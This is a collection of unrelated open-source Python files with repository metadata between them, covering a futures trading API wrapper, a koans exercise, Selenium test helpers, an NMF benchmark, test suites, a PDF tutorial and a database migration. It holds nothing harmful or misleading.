#----------------------------------------------------------------------
def getPosition(self):
"""查询持仓"""
self.__reqid = self.__reqid + 1
req = {}
req['BrokerID'] = self.__brokerid
req['InvestorID'] = self.__userid
self.reqQryInvestorPosition(req, self.__reqid)
#----------------------------------------------------------------------
def sendOrder(self, instrumentid, exchangeid, price, pricetype, volume, direction, offset):
"""发单"""
self.__reqid = self.__reqid + 1
req = {}
req['InstrumentID'] = instrumentid
req['ExchangeID'] = exchangeid
req['OrderPriceType'] = pricetype
req['LimitPrice'] = price
req['VolumeTotalOriginal'] = volume
req['Direction'] = direction
req['CombOffsetFlag'] = offset
self.__orderref = self.__orderref + 1
req['OrderRef'] = str(self.__orderref)
req['InvestorID'] = self.__userid
req['UserID'] = self.__userid
req['BrokerID'] = self.__brokerid
req['CombHedgeFlag'] = defineDict['SECURITY_FTDC_HF_Speculation'] # 投机单
req['ContingentCondition'] = defineDict['SECURITY_FTDC_CC_Immediately'] # 立即发单
req['ForceCloseReason'] = defineDict['SECURITY_FTDC_FCC_NotForceClose'] # 非强平
req['IsAutoSuspend'] = 0 # 非自动挂起
req['UserForceClose'] = 0 # 非强平
req['TimeCondition'] = defineDict['SECURITY_FTDC_TC_GFD'] # 今日有效
req['VolumeCondition'] = defineDict['SECURITY_FTDC_VC_AV'] # 任意成交量
req['MinVolume'] = 1 # 最小成交量为1
self.reqOrderInsert(req, self.__reqid)
# 返回订单号,便于某些算法进行动态管理
return self.__orderref
#----------------------------------------------------------------------
def cancelOrder(self, instrumentid, exchangeid, orderref, frontid, sessionid):
"""撤单"""
self.__reqid = self.__reqid + 1
req = {}
req['InstrumentID'] = instrumentid
req['ExchangeID'] = exchangeid
req['OrderRef'] = orderref
req['FrontID'] = frontid
req['SessionID'] = sessionid
req['ActionFlag'] = defineDict['SECURITY_FTDC_AF_Delete']
req['BrokerID'] = self.__brokerid
req['InvestorID'] = self.__userid
self.reqOrderAction(req, self.__reqid)
########################################################################
class DemoL2Api(L2MdApi):
"""
L2行情API
"""
#----------------------------------------------------------------------
def __init__(self, eventEngine):
"""API对象的初始化函数"""
super(DemoL2Api, self).__init__()
# 事件引擎,所有数据都推送到其中,再由事件引擎进行分发
self.__eventEngine = eventEngine
# 请求编号,由api负责管理
self.__reqid = 0
# 以下变量用于实现连接和重连后的自动登陆
self.__userid = ''
self.__password = ''
self.__brokerid = ''
# 以下集合用于重连后自动订阅之前已订阅的合约,使用集合为了防止重复
self.__setSubscribed = set()
# 初始化.con文件的保存目录为/mdconnection
self.createFtdcMdApi(os.getcwd() + '\\l2connection\\')
#----------------------------------------------------------------------
def onFrontConnected(self):
"""服务器连接"""
event = Event(type_=EVENT_LOG)
event.dict_['log'] = u'L2行情服务器连接成功'
self.__eventEngine.put(event)
# 如果用户已经填入了用户名等等,则自动尝试连接
if self.__userid:
req = {}
req['UserID'] = self.__userid
req['Password'] = self.__password
req['BrokerID'] = self.__brokerid
self.__reqid = self.__reqid + 1
self.reqUserLogin(req, self.__reqid)
#----------------------------------------------------------------------
def onFrontDisconnected(self, n):
"""服务器断开"""
event = Event(type_=EVENT_LOG)
event.dict_['log'] = u'L2行情服务器连接断开'
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onHeartBeatWarning(self, n):
"""心跳报警"""
# 因为API的心跳报警比较常被触发,且与API工作关系不大,因此选择忽略
pass
#----------------------------------------------------------------------
def onRspError(self, error, n, last):
"""错误回报"""
event = Event(type_=EVENT_LOG)
log = u'L2行情错误回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspUserLogin(self, data, error, n, last):
"""登陆回报"""
event = Event(type_=EVENT_LOG)
if error['ErrorID'] == 0:
log = u'L2行情服务器登陆成功'
else:
log = u'登陆回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
# 重连后自动订阅之前已经订阅过的合约
if self.__setSubscribed:
for instrument in self.__setSubscribed:
self.subscribe(instrument[0], instrument[1])
#----------------------------------------------------------------------
def onRspUserLogout(self, data, error, n, last):
"""登出回报"""
event = Event(type_=EVENT_LOG)
if error['ErrorID'] == 0:
log = u'L2行情服务器登出成功'
else:
log = u'登出回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspSubL2MarketData(self, data, error, n, last):
"""订阅L2合约回报"""
# 通常不在乎订阅错误,选择忽略
pass
#----------------------------------------------------------------------
def onRspUnSubL2MarketData(self, data, error, n, last):
"""退订L2合约回报"""
# 同上
pass
#----------------------------------------------------------------------
def onRspSubL2Index(self, data, error, n, last):
"""订阅L2指数回报"""
# 通常不在乎订阅错误,选择忽略
pass
#----------------------------------------------------------------------
def onRspUnSubL2Index(self, data, error, n, last):
"""退订L2指数回报"""
# 同上
pass
#----------------------------------------------------------------------
def onRtnL2MarketData(self, data):
"""L2行情推送"""
# 常规行情事件
event1 = Event(type_=EVENT_MARKETDATA)
event1.dict_['data'] = data
self.__eventEngine.put(event1)
# 特定合约行情事件
event2 = Event(type_=(EVENT_MARKETDATA_CONTRACT+data['InstrumentID']))
event2.dict_['data'] = data
self.__eventEngine.put(event2)
#----------------------------------------------------------------------
def onRtnL2Index(self, data):
"""L2指数行情推送"""
pass
#----------------------------------------------------------------------
def onRtnL2Order(self, data):
"""L2订单推送"""
pass
#----------------------------------------------------------------------
def onRtnL2Trade(self, data):
"""L2成交推送"""
pass
#----------------------------------------------------------------------
def onRspSubL2OrderAndTrade(self, error, n, last):
"""订阅L2订单、成交回报"""
pass
#----------------------------------------------------------------------
def onRspUnSubL2OrderAndTrade(self, error, n, last):
"""退订L2订单、成交回报"""
pass
#----------------------------------------------------------------------
def onNtfCheckOrderList(self, instrumentID, functionID):
"""通知清理SSE买卖一队列中数量为0的报单"""
pass
#----------------------------------------------------------------------
def login(self, address, userid, password, brokerid):
"""连接服务器"""
self.__userid = userid
self.__password = password
self.__brokerid = brokerid
# 注册服务器地址
self.registerFront(address)
# 初始化连接,成功会调用onFrontConnected
self.init()
#----------------------------------------------------------------------
def subscribe(self, instrumentid, exchangeid):
"""订阅合约"""
req = {}
req['InstrumentID'] = instrumentid
req['ExchangeID'] = exchangeid
self.subscribeL2MarketData(req)
instrument = (instrumentid, exchangeid)
self.__setSubscribed.add(instrument)
|
mit
|
binary13/Python_Koans
|
python3/koans/about_scoring_project.py
|
107
|
2207
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from runner.koan import *
# Greed is a dice game where you roll up to five dice to accumulate
# points. The following "score" function will be used calculate the
# score of a single roll of the dice.
#
# A greed roll is scored as follows:
#
# * A set of three ones is 1000 points
#
# * A set of three numbers (other than ones) is worth 100 times the
# number. (e.g. three fives is 500 points).
#
# * A one (that is not part of a set of three) is worth 100 points.
#
# * A five (that is not part of a set of three) is worth 50 points.
#
# * Everything else is worth 0 points.
#
#
# Examples:
#
# score([1,1,1,5,1]) => 1150 points
# score([2,3,4,6,2]) => 0 points
# score([3,4,5,3,3]) => 350 points
# score([1,5,1,2,4]) => 250 points
#
# More scoring examples are given in the tests below:
#
# Your goal is to write the score method.
def score(dice):
# You need to write this method
pass
class AboutScoringProject(Koan):
def test_score_of_an_empty_list_is_zero(self):
self.assertEqual(0, score([]))
def test_score_of_a_single_roll_of_5_is_50(self):
self.assertEqual(50, score([5]))
def test_score_of_a_single_roll_of_1_is_100(self):
self.assertEqual(100, score([1]))
def test_score_of_multiple_1s_and_5s_is_the_sum_of_individual_scores(self):
self.assertEqual(300, score([1,5,5,1]))
def test_score_of_single_2s_3s_4s_and_6s_are_zero(self):
self.assertEqual(0, score([2,3,4,6]))
def test_score_of_a_triple_1_is_1000(self):
self.assertEqual(1000, score([1,1,1]))
def test_score_of_other_triples_is_100x(self):
self.assertEqual(200, score([2,2,2]))
self.assertEqual(300, score([3,3,3]))
self.assertEqual(400, score([4,4,4]))
self.assertEqual(500, score([5,5,5]))
self.assertEqual(600, score([6,6,6]))
def test_score_of_mixed_is_sum(self):
self.assertEqual(250, score([2,5,2,2,3]))
self.assertEqual(550, score([5,5,5,5]))
self.assertEqual(1150, score([1,1,1,5,1]))
def test_ones_not_left_out(self):
self.assertEqual(300, score([1,2,2,2]))
self.assertEqual(350, score([1,5,2,2,2]))
|
mit
|
GeriLife/wellbeing
|
test-automation/app/accessibility_tasks.py
|
2
|
2733
|
from aloe import world
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.select import Select
from selenium.webdriver.support.wait import WebDriverWait
# Do not remove this import. Without it the hook will not be ran
from app.hooks import with_firefox
from app.selectors import *
# The time the WebDriver will wait for various openstions- find element, wait for page, expected conditions
webDriverWaitInSeconds = 5
# Tries to go to the index page. If the user is not logged in, the methods logs in
def go_to_index():
user_name = "[email protected]"
password = "demo123"
world.browser.get(geri_life_url)
#TODO wait for page to load
try:
find_element(username_field).send_keys(user_name)
find_element(password_field).send_keys(password)
find_element(login_button).click()
except:
pass
find_element("ul.nav:nth-child(1) > li:nth-child(1) > a:nth-child(1)")
def get_language():
select_element = Select(find_element(language_dropdown))
return select_element.first_selected_option.text
def change_language(desired_language):
select_element = Select(find_element(language_dropdown))
select_element.select_by_visible_text(desired_language)
def logout():
find_element(logout_button).click()
# Returns a list of WebElement found by a CSS Selector
def find_elements(selector):
return world.browser.find_elements_by_css_selector(selector)
# Returns a list of WebElement found by Class name
def find_elements_by_class(selector):
return world.browser.find_elements_by_class_name(selector)
# Returns a single WebElement found by a CSS Selector
def find_element(selector):
element = WebDriverWait(world.browser, webDriverWaitInSeconds).until(
EC.element_to_be_clickable((By.CSS_SELECTOR, selector)))
return element
# Returns a single WebElement found by Name
def find_element_by_name(selector):
element = WebDriverWait(world.browser, webDriverWaitInSeconds).until(
EC.element_to_be_clickable((By.NAME, selector)))
return element
# Waits for page with URL containing "url" to load
def wait_for_page(url):
wait = WebDriverWait(world.browser, webDriverWaitInSeconds)
wait.until(EC.url_contains(url))
# Scrolls "element" into view. Used when element is outside the field of view
def scroll_into_view(element):
world.browser.execute_script("arguments[0].scrollIntoView();", element)
return element
# Uses JS to click on an "element". Used when "element" is not a button or text field
# Ex. homes in the Homes page
def js_click(element):
world.browser.execute_script("arguments[0].click();", element);
|
agpl-3.0
|
JeanKossaifi/scikit-learn
|
benchmarks/bench_plot_nmf.py
|
90
|
5742
|
"""
Benchmarks of Non-Negative Matrix Factorization
"""
from __future__ import print_function
from collections import defaultdict
import gc
from time import time
import numpy as np
from scipy.linalg import norm
from sklearn.decomposition.nmf import NMF, _initialize_nmf
from sklearn.datasets.samples_generator import make_low_rank_matrix
from sklearn.externals.six.moves import xrange
def alt_nnmf(V, r, max_iter=1000, tol=1e-3, init='random'):
'''
A, S = nnmf(X, r, tol=1e-3, R=None)
Implement Lee & Seung's algorithm
Parameters
----------
V : 2-ndarray, [n_samples, n_features]
input matrix
r : integer
number of latent features
max_iter : integer, optional
maximum number of iterations (default: 1000)
tol : double
tolerance threshold for early exit (when the update factor is within
tol of 1., the function exits)
init : string
Method used to initialize the procedure.
Returns
-------
A : 2-ndarray, [n_samples, r]
Component part of the factorization
S : 2-ndarray, [r, n_features]
Data part of the factorization
Reference
---------
"Algorithms for Non-negative Matrix Factorization"
by Daniel D Lee, Sebastian H Seung
(available at http://citeseer.ist.psu.edu/lee01algorithms.html)
'''
# Nomenclature in the function follows Lee & Seung
eps = 1e-5
n, m = V.shape
W, H = _initialize_nmf(V, r, init, random_state=0)
for i in xrange(max_iter):
updateH = np.dot(W.T, V) / (np.dot(np.dot(W.T, W), H) + eps)
H *= updateH
updateW = np.dot(V, H.T) / (np.dot(W, np.dot(H, H.T)) + eps)
W *= updateW
if i % 10 == 0:
max_update = max(updateW.max(), updateH.max())
if abs(1. - max_update) < tol:
break
return W, H
def report(error, time):
print("Frobenius loss: %.5f" % error)
print("Took: %.2fs" % time)
print()
def benchmark(samples_range, features_range, rank=50, tolerance=1e-5):
timeset = defaultdict(lambda: [])
err = defaultdict(lambda: [])
for n_samples in samples_range:
for n_features in features_range:
print("%2d samples, %2d features" % (n_samples, n_features))
print('=======================')
X = np.abs(make_low_rank_matrix(n_samples, n_features,
effective_rank=rank, tail_strength=0.2))
gc.collect()
print("benchmarking nndsvd-nmf: ")
tstart = time()
m = NMF(n_components=30, tol=tolerance, init='nndsvd').fit(X)
tend = time() - tstart
timeset['nndsvd-nmf'].append(tend)
err['nndsvd-nmf'].append(m.reconstruction_err_)
report(m.reconstruction_err_, tend)
gc.collect()
print("benchmarking nndsvda-nmf: ")
tstart = time()
m = NMF(n_components=30, init='nndsvda',
tol=tolerance).fit(X)
tend = time() - tstart
timeset['nndsvda-nmf'].append(tend)
err['nndsvda-nmf'].append(m.reconstruction_err_)
report(m.reconstruction_err_, tend)
gc.collect()
print("benchmarking nndsvdar-nmf: ")
tstart = time()
m = NMF(n_components=30, init='nndsvdar',
tol=tolerance).fit(X)
tend = time() - tstart
timeset['nndsvdar-nmf'].append(tend)
err['nndsvdar-nmf'].append(m.reconstruction_err_)
report(m.reconstruction_err_, tend)
gc.collect()
print("benchmarking random-nmf")
tstart = time()
m = NMF(n_components=30, init='random', max_iter=1000,
tol=tolerance).fit(X)
tend = time() - tstart
timeset['random-nmf'].append(tend)
err['random-nmf'].append(m.reconstruction_err_)
report(m.reconstruction_err_, tend)
gc.collect()
print("benchmarking alt-random-nmf")
tstart = time()
W, H = alt_nnmf(X, r=30, init='random', tol=tolerance)
tend = time() - tstart
timeset['alt-random-nmf'].append(tend)
err['alt-random-nmf'].append(np.linalg.norm(X - np.dot(W, H)))
report(norm(X - np.dot(W, H)), tend)
return timeset, err
if __name__ == '__main__':
from mpl_toolkits.mplot3d import axes3d # register the 3d projection
axes3d
import matplotlib.pyplot as plt
samples_range = np.linspace(50, 500, 3).astype(np.int)
features_range = np.linspace(50, 500, 3).astype(np.int)
timeset, err = benchmark(samples_range, features_range)
for i, results in enumerate((timeset, err)):
fig = plt.figure('scikit-learn Non-Negative Matrix Factorization'
'benchmark results')
ax = fig.gca(projection='3d')
for c, (label, timings) in zip('rbgcm', sorted(results.iteritems())):
X, Y = np.meshgrid(samples_range, features_range)
Z = np.asarray(timings).reshape(samples_range.shape[0],
features_range.shape[0])
# plot the actual surface
ax.plot_surface(X, Y, Z, rstride=8, cstride=8, alpha=0.3,
color=c)
# dummy point plot to stick the legend to since surface plot do not
# support legends (yet?)
ax.plot([1], [1], [1], color=c, label=label)
ax.set_xlabel('n_samples')
ax.set_ylabel('n_features')
zlabel = 'Time (s)' if i == 0 else 'reconstruction error'
ax.set_zlabel(zlabel)
ax.legend()
plt.show()
|
bsd-3-clause
|
RPI-OPENEDX/edx-platform
|
lms/djangoapps/instructor/tests/test_enrollment_store_provider.py
|
136
|
2709
|
"""
Exercises tests on the base_store_provider file
"""
from django.test import TestCase
from instructor.enrollment_report import AbstractEnrollmentReportProvider
from instructor.paidcourse_enrollment_report import PaidCourseEnrollmentReportProvider
class BadImplementationAbstractEnrollmentReportProvider(AbstractEnrollmentReportProvider):
"""
Test implementation of EnrollmentProvider to assert that non-implementations of methods
raises the correct methods
"""
def get_user_profile(self, user_id):
"""
Fake implementation of method which calls base class, which should throw NotImplementedError
"""
super(BadImplementationAbstractEnrollmentReportProvider, self).get_user_profile(user_id)
def get_enrollment_info(self, user, course_id):
"""
Fake implementation of method which calls base class, which should throw NotImplementedError
"""
super(BadImplementationAbstractEnrollmentReportProvider, self).get_enrollment_info(user, course_id)
def get_payment_info(self, user, course_id):
"""
Fake implementation of method which calls base class, which should throw NotImplementedError
"""
super(BadImplementationAbstractEnrollmentReportProvider, self).get_payment_info(user, course_id)
class TestBaseNotificationDataProvider(TestCase):
"""
Cover the EnrollmentReportProvider class
"""
def test_cannot_create_instance(self):
"""
EnrollmentReportProvider is an abstract class and we should not be able
to create an instance of it
"""
with self.assertRaises(TypeError):
# parent of the BaseEnrollmentReportProvider is EnrollmentReportProvider
super(BadImplementationAbstractEnrollmentReportProvider, self)
def test_get_provider(self):
"""
Makes sure we get an instance of the registered enrollment provider
"""
provider = PaidCourseEnrollmentReportProvider()
self.assertIsNotNone(provider)
self.assertTrue(isinstance(provider, PaidCourseEnrollmentReportProvider))
def test_base_methods_exceptions(self):
"""
Asserts that all base-methods on the EnrollmentProvider interface will throw
an NotImplementedError
"""
bad_provider = BadImplementationAbstractEnrollmentReportProvider()
with self.assertRaises(NotImplementedError):
bad_provider.get_enrollment_info(None, None)
with self.assertRaises(NotImplementedError):
bad_provider.get_payment_info(None, None)
with self.assertRaises(NotImplementedError):
bad_provider.get_user_profile(None)
|
agpl-3.0
|
vietch2612/phantomjs
|
src/qt/qtwebkit/Tools/Scripts/webkitpy/layout_tests/views/buildbot_results.py
|
120
|
8022
|
#!/usr/bin/env python
# Copyright (C) 2012 Google Inc. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
# * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
from webkitpy.layout_tests.models import test_expectations
from webkitpy.common.net import resultsjsonparser
TestExpectations = test_expectations.TestExpectations
TestExpectationParser = test_expectations.TestExpectationParser
class BuildBotPrinter(object):
# This output is parsed by buildbots and must only be changed in coordination with buildbot scripts (see webkit.org's
# Tools/BuildSlaveSupport/build.webkit.org-config/master.cfg: RunWebKitTests._parseNewRunWebKitTestsOutput
# and chromium.org's buildbot/master.chromium/scripts/master/log_parser/webkit_test_command.py).
def __init__(self, stream, debug_logging):
self.stream = stream
self.debug_logging = debug_logging
def print_results(self, run_details):
if self.debug_logging:
self.print_run_results(run_details.initial_results)
self.print_unexpected_results(run_details.summarized_results, run_details.enabled_pixel_tests_in_retry)
def _print(self, msg):
self.stream.write(msg + '\n')
def print_run_results(self, run_results):
failed = run_results.total_failures
total = run_results.total
passed = total - failed - run_results.remaining
percent_passed = 0.0
if total > 0:
percent_passed = float(passed) * 100 / total
self._print("=> Results: %d/%d tests passed (%.1f%%)" % (passed, total, percent_passed))
self._print("")
self._print_run_results_entry(run_results, test_expectations.NOW, "Tests to be fixed")
self._print("")
# FIXME: We should be skipping anything marked WONTFIX, so we shouldn't bother logging these stats.
self._print_run_results_entry(run_results, test_expectations.WONTFIX,
"Tests that will only be fixed if they crash (WONTFIX)")
self._print("")
def _print_run_results_entry(self, run_results, timeline, heading):
total = len(run_results.tests_by_timeline[timeline])
not_passing = (total -
len(run_results.tests_by_expectation[test_expectations.PASS] &
run_results.tests_by_timeline[timeline]))
self._print("=> %s (%d):" % (heading, not_passing))
for result in TestExpectations.EXPECTATION_ORDER:
if result in (test_expectations.PASS, test_expectations.SKIP):
continue
results = (run_results.tests_by_expectation[result] & run_results.tests_by_timeline[timeline])
desc = TestExpectations.EXPECTATION_DESCRIPTIONS[result]
if not_passing and len(results):
pct = len(results) * 100.0 / not_passing
self._print(" %5d %-24s (%4.1f%%)" % (len(results), desc, pct))
def print_unexpected_results(self, summarized_results, enabled_pixel_tests_in_retry=False):
passes = {}
flaky = {}
regressions = {}
def add_to_dict_of_lists(dict, key, value):
dict.setdefault(key, []).append(value)
def add_result(test, results, passes=passes, flaky=flaky, regressions=regressions):
actual = results['actual'].split(" ")
expected = results['expected'].split(" ")
def is_expected(result):
return (result in expected) or (result in ('AUDIO', 'TEXT', 'IMAGE+TEXT') and 'FAIL' in expected)
if all(is_expected(actual_result) for actual_result in actual):
# Don't print anything for tests that ran as expected.
return
if actual == ['PASS']:
if 'CRASH' in expected:
add_to_dict_of_lists(passes, 'Expected to crash, but passed', test)
elif 'TIMEOUT' in expected:
add_to_dict_of_lists(passes, 'Expected to timeout, but passed', test)
else:
add_to_dict_of_lists(passes, 'Expected to fail, but passed', test)
elif enabled_pixel_tests_in_retry and actual == ['TEXT', 'IMAGE+TEXT']:
add_to_dict_of_lists(regressions, actual[0], test)
elif len(actual) > 1:
# We group flaky tests by the first actual result we got.
add_to_dict_of_lists(flaky, actual[0], test)
else:
add_to_dict_of_lists(regressions, results['actual'], test)
resultsjsonparser.for_each_test(summarized_results['tests'], add_result)
if len(passes) or len(flaky) or len(regressions):
self._print("")
if len(passes):
for key, tests in passes.iteritems():
self._print("%s: (%d)" % (key, len(tests)))
tests.sort()
for test in tests:
self._print(" %s" % test)
self._print("")
self._print("")
if len(flaky):
descriptions = TestExpectations.EXPECTATION_DESCRIPTIONS
for key, tests in flaky.iteritems():
result = TestExpectations.EXPECTATIONS[key.lower()]
self._print("Unexpected flakiness: %s (%d)" % (descriptions[result], len(tests)))
tests.sort()
for test in tests:
result = resultsjsonparser.result_for_test(summarized_results['tests'], test)
actual = result['actual'].split(" ")
expected = result['expected'].split(" ")
result = TestExpectations.EXPECTATIONS[key.lower()]
# FIXME: clean this up once the old syntax is gone
new_expectations_list = [TestExpectationParser._inverted_expectation_tokens[exp] for exp in list(set(actual) | set(expected))]
self._print(" %s [ %s ]" % (test, " ".join(new_expectations_list)))
self._print("")
self._print("")
if len(regressions):
descriptions = TestExpectations.EXPECTATION_DESCRIPTIONS
for key, tests in regressions.iteritems():
result = TestExpectations.EXPECTATIONS[key.lower()]
self._print("Regressions: Unexpected %s (%d)" % (descriptions[result], len(tests)))
tests.sort()
for test in tests:
self._print(" %s [ %s ]" % (test, TestExpectationParser._inverted_expectation_tokens[key]))
self._print("")
if len(summarized_results['tests']) and self.debug_logging:
self._print("%s" % ("-" * 78))
|
bsd-3-clause
|
kidibox/kidibox-py
|
kidibox/api/download.py
|
1
|
1238
|
import contextlib
import logging
import re
import shutil
import ssl
import urllib
logger = logging.getLogger(__name__)
re_filename = re.compile(r"filename=(.+)")
class DownloadApiMixin(object):
def download(self, token, **kwargs):
context = ssl.create_default_context()
if not self.session.verify:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
return urllib.request.urlopen(
urllib.request.Request('{0}/download/{1}'.format(self.url, token),
**kwargs), context=context)
def save(self, token):
with contextlib.closing(self.download(token, method='HEAD')) as head:
headers = head.info()
length = int(headers['content-length'])
filename = urllib.parse.unquote(
re_filename.search(headers['content-disposition']).group(1))
with open(filename, 'ab') as fh:
offset = fh.tell()
if offset < length:
with contextlib.closing(self.download(token, headers={
'Range': "bytes={0}-".format(offset),
})) as get:
shutil.copyfileobj(get, fh)
return filename
|
mit
|
queer1/bitcurator
|
externals/py3fpdf/tutorial/tuto6.py
|
8
|
2389
|
from fpdf import *
import re
class PDF(FPDF):
def __init__(self, orientation='P',unit='mm',format='A4'):
#Call parent constructor
FPDF.__init__(self,orientation,unit,format)
#Initialization
self.b=0
self.i=0
self.u=0
self.href=''
self.page_links={}
def write_html(self, html):
#HTML parser
html=html.replace("\n",' ')
a=re.split('<(.*?)>',html)
for i,e in enumerate(a):
if(i%2==0):
#Text
if(self.href):
self.put_link(self.href,e)
else:
self.write(5,e)
else:
#Tag
if(e[0]=='/'):
self.close_tag(substr(e,1).upper())
else:
#Extract attributes
attr={}
a2=e.split(' ')
tag=a2.pop(0).upper()
for v in a2:
a3 = re.findall('''^([^=]*)=["']?([^"']*)["']?''',v)[0]
if a3:
attr[a3[0].upper()]=a3[1]
self.open_tag(tag,attr)
def open_tag(self, tag,attr):
#Opening tag
if(tag=='B' or tag=='I' or tag=='U'):
self.set_style(tag,1)
if(tag=='A'):
self.href=attr['HREF']
if(tag=='BR'):
self.ln(5)
def close_tag(self, tag):
#Closing tag
if(tag=='B' or tag=='I' or tag=='U'):
self.set_style(tag,0)
if(tag=='A'):
self.href=''
def set_style(self, tag,enable):
#Modify style and select corresponding font
t = getattr(self,tag.lower())
if enable:
t+=1
else:
t+=-1
setattr(self,tag.lower(),t)
style=''
for s in ('B','I','U'):
if(getattr(self,s.lower())>0):
style+=s
self.set_font('',style)
def put_link(self, url, txt):
#Put a hyperlink
self.set_text_color(0,0,255)
self.set_style('U',1)
self.write(5,txt,url)
self.set_style('U',0)
self.set_text_color(0)
html="""You can now easily print text mixing different
styles : <B>bold</B>, <I>italic</I>, <U>underlined</U>, or
<B><I><U>all at once</U></I></B>!<BR>You can also insert links
on text, such as <A HREF="http:#www.fpdf.org">www.fpdf.org</A>,
or on an image: click on the logo."""
pdf=PDF()
#First page
pdf.add_page()
pdf.set_font('Arial','',20)
pdf.write(5,'To find out what\'s new in self tutorial, click ')
pdf.set_font('','U')
link=pdf.add_link()
pdf.write(5,'here',link)
pdf.set_font('')
#Second page
pdf.add_page()
pdf.set_link(link)
pdf.image('logo.png',10,10,30,0,'','http:#www.fpdf.org')
pdf.set_left_margin(45)
pdf.set_font_size(14)
pdf.write_html(html)
pdf.output('tuto6.pdf','F')
|
gpl-3.0
|
spektom/incubator-airflow
|
airflow/migrations/versions/2e82aab8ef20_rename_user_table.py
|
7
|
1174
|
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""rename user table
Revision ID: 2e82aab8ef20
Revises: 1968acfc09e3
Create Date: 2016-04-02 19:28:15.211915
"""
from alembic import op
# revision identifiers, used by Alembic.
revision = '2e82aab8ef20'
down_revision = '1968acfc09e3'
branch_labels = None
depends_on = None
def upgrade():
op.rename_table('user', 'users')
def downgrade():
op.rename_table('users', 'user')
|
apache-2.0
|
andreadelrio/bedrock
|
bedrock/mozorg/tests/test_decorators.py
|
45
|
1378
|
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
import time
from math import floor
from django.test import RequestFactory
from django.utils.http import parse_http_date
from bedrock.mozorg.tests import TestCase
from bedrock.mozorg.tests import views
class ViewDecoratorTests(TestCase):
def setUp(self):
self.rf = RequestFactory()
def _test_cache_headers(self, view, hours):
"""
Should have appropriate Cache-Control and Expires headers.
"""
test_request = self.rf.get('/hi-there-dude/')
resp = view(test_request)
num_seconds = hours * 60 * 60
self.assertEqual(resp['cache-control'], 'max-age=%d' % num_seconds)
now_date = floor(time.time())
exp_date = parse_http_date(resp['expires'])
self.assertAlmostEqual(now_date + num_seconds, exp_date, delta=2)
def test_cache_headers_48_hours(self):
"""
Test a view that should be cached for 48 hours.
"""
self._test_cache_headers(views.view_test_48_hrs, 48)
def test_cache_headers_30_days(self):
"""
Test a view that should be cached for 30 days.
"""
self._test_cache_headers(views.view_test_30_days, 30 * 24)
|
mpl-2.0
|
noironetworks/networking-cisco
|
networking_cisco/tests/base.py
|
2
|
1196
|
# -*- coding: utf-8 -*-
# Copyright 2010-2011 OpenStack Foundation
# Copyright (c) 2013 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os
import tempfile
from oslo_config import cfg
from oslotest import base
from neutron.tests import base as n_base
def load_config_file(string):
cfile = tempfile.NamedTemporaryFile(delete=False)
cfile.write(string.encode('utf-8'))
cfile.close()
n_base.BaseTestCase.config_parse(
cfg.CONF, args=['--config-file', cfile.name])
def cleanup():
os.unlink(cfile.name)
return cleanup
class TestCase(base.BaseTestCase):
"""Test case base class for all unit tests."""
|
apache-2.0
|
wxkdesky/phantomjs
|
src/qt/qtwebkit/Tools/Scripts/webkitpy/style/optparser.py
|
175
|
19377
|
# Copyright (C) 2010 Chris Jerdonek ([email protected])
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
